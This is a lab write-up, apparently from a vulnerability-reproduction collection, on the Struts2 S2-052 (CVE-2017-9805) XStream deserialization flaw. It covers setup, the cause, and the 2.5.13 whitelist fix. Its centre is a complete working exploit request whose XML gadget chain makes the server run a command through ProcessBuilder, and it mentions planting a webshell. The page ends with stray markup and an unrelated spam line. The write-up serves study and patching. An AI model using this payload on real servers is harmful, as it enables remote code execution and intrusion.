<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    S2-052 遠程代碼執行漏洞 (CVE-2017-9805)

    Path struts2/s2-052

    影響版本: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

    漏洞詳情:

    測試環境搭建

    docker-compose up -d
    

    漏洞說明

    Struts2-Rest-Plugin是讓Struts2能夠實現Restful API的一個插件,其根據Content-Type或URI擴展名來判斷用戶傳入的數據包類型,有如下映射表:

    擴展名 Content-Type 解析方法
    xml application/xml xstream
    json application/json jsonlib或jackson(可選)
    xhtml application/xhtml+xml
    application/x-www-form-urlencoded
    multipart/form-data

    jsonlib無法引入任意對象,而xstream在默認情況下是可以引入任意對象的(針對1.5.x以前的版本),方法就是直接通過xml的tag name指定需要實例化的類名:

    <classname></classname>
    //或者
    <paramname class="classname"></paramname>
    

    所以,我們可以通過反序列化引入任意類造成遠程命令執行漏洞,只需要找到一個在Struts2庫中適用的gedget。

    漏洞復現

    啟動環境后,訪問http://your-ip:8080/orders.xhtml即可看到showcase頁面。由于rest-plugin會根據URI擴展名或Content-Type來判斷解析方法,所以我們只需要修改orders.xhtml為orders.xml或修改Content-Type頭為application/xml,即可在Body中傳遞XML數據。

    所以,最后發送的數據包為:

    POST /orders/3/edit HTTP/1.1
    Host: your-ip:8080
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/xml
    Content-Length: 2415
    
    <map>
      <entry>
        <jdk.nashorn.internal.objects.NativeString>
          <flags>0</flags>
          <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
            <dataHandler>
              <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                <is class="javax.crypto.CipherInputStream">
                  <cipher class="javax.crypto.NullCipher">
                    <initialized>false</initialized>
                    <opmode>0</opmode>
                    <serviceIterator class="javax.imageio.spi.FilterIterator">
                      <iter class="javax.imageio.spi.FilterIterator">
                        <iter class="java.util.Collections$EmptyIterator"/>
                        <next class="java.lang.ProcessBuilder">
                          <command>
                            <string>touch</string>
                            <string>/tmp/success</string>
                          </command>
                          <redirectErrorStream>false</redirectErrorStream>
                        </next>
                      </iter>
                      <filter class="javax.imageio.ImageIO$ContainsFilter">
                        <method>
                          <class>java.lang.ProcessBuilder</class>
                          <name>start</name>
                          <parameter-types/>
                        </method>
                        <name>foo</name>
                      </filter>
                      <next class="string">foo</next>
                    </serviceIterator>
                    <lock/>
                  </cipher>
                  <input class="java.lang.ProcessBuilder$NullInputStream"/>
                  <ibuffer></ibuffer>
                  <done>false</done>
                  <ostart>0</ostart>
                  <ofinish>0</ofinish>
                  <closed>false</closed>
                </is>
                <consumed>false</consumed>
              </dataSource>
              <transferFlavors/>
            </dataHandler>
            <dataLen>0</dataLen>
          </value>
        </jdk.nashorn.internal.objects.NativeString>
        <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
      </entry>
      <entry>
        <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
        <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
      </entry>
    </map>
    

    以上數據包成功執行的話,會在docker容器內創建文件/tmp/success,執行docker-compose exec struts2 ls /tmp/即可看到。

    此外,我們還可以下載一個jspx的webshell:


    還有一些更簡單的利用方法,就不在此贅述了。

    漏洞修復

    struts2.5.13中,按照xstream給出的緩解措施( http://x-stream.github.io/security.html ),增加了反序列化時的白名單:

    protected void addDefaultPermissions(ActionInvocation invocation, XStream stream) {
        stream.addPermission(new ExplicitTypePermission(new Class[]{invocation.getAction().getClass()}));
        if (invocation.getAction() instanceof ModelDriven) {
            stream.addPermission(new ExplicitTypePermission(new Class[]{((ModelDriven) invocation.getAction()).getModel().getClass()}));
        }
        stream.addPermission(NullPermission.NULL);
        stream.addPermission(PrimitiveTypePermission.PRIMITIVES);
        stream.addPermission(ArrayTypePermission.ARRAYS);
        stream.addPermission(CollectionTypePermission.COLLECTIONS);
        stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));
    }

    但此時可能會影響以前代碼的業務邏輯,所以謹慎升級,也沒有特別好的辦法,就是逐一排除老代碼,去掉不在白名單中的類。

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类